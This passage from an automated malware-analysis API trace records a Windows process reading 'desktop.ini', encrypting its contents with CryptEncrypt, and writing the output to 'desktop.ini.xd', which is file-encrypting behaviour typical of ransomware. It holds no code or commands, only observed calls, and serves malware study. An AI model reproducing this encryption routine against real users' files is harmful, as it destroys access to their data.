dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0059.912] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.912] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0059.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.913] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0059.913] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0059.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.916] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0059.916] ReadFile (in: hFile=0x2ac, lpBuffer=0x17addd0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17addd0*, lpNumberOfBytesRead=0x130edb0*=0x1f8, lpOverlapped=0x0) returned 1 [0059.916] ReadFile (in: hFile=0x2ac, lpBuffer=0x17addd0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17addd0*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0059.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.919] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0059.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.919] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0059.919] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.919] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0059.919] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.919] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.919] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.919] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0059.919] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0059.920] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0059.920] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0059.920] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.920] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.920] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.920] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.920] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.921] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.921] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.921] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.921] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.921] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.921] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x200) returned 1 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] CharLowerBuffW (in: lpsz="byte[513]", cchLength=0x9 | out: lpsz="byte[513]") returned 0x9 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.922] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.924] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.925] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.925] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17a8828*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x200 | out: pbData=0x17a8828*, pdwDataLen=0x130e618*=0x200) returned 1 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.925] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.925] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.925] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.925] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.925] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.925] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.925] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.926] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.926] WriteFile (in: hFile=0x3bc, lpBuffer=0x17a6e00*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17a6e00*, lpNumberOfBytesWritten=0x130f01c*=0x200, lpOverlapped=0x0) returned 1 [0059.927] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.927] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.927] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0059.927] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.927] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.927] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0059.927] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0059.928] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0059.928] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0059.928] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.928] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.928] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.928] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.928] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.928] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.929] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.929] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.929] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.929] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.929] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.929] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.929] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.929] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.929] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.929] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.929] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.929] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.929] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.929] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.929] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0059.930] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0059.930] CryptReleaseContext (hProv=0x17a9df0, dwFlags=0x0) returned 1 [0059.930] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.930] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.930] FreeLibrary (hLibModule=0x74c60000) returned 1 [0059.930] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.930] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.930] CloseHandle (hObject=0x2ac) returned 1 [0059.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.931] CloseHandle (hObject=0x3bc) returned 1 [0059.933] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.933] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.934] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", lpFilePart=0x0) returned 0x2a [0059.934] GetFileAttributesW 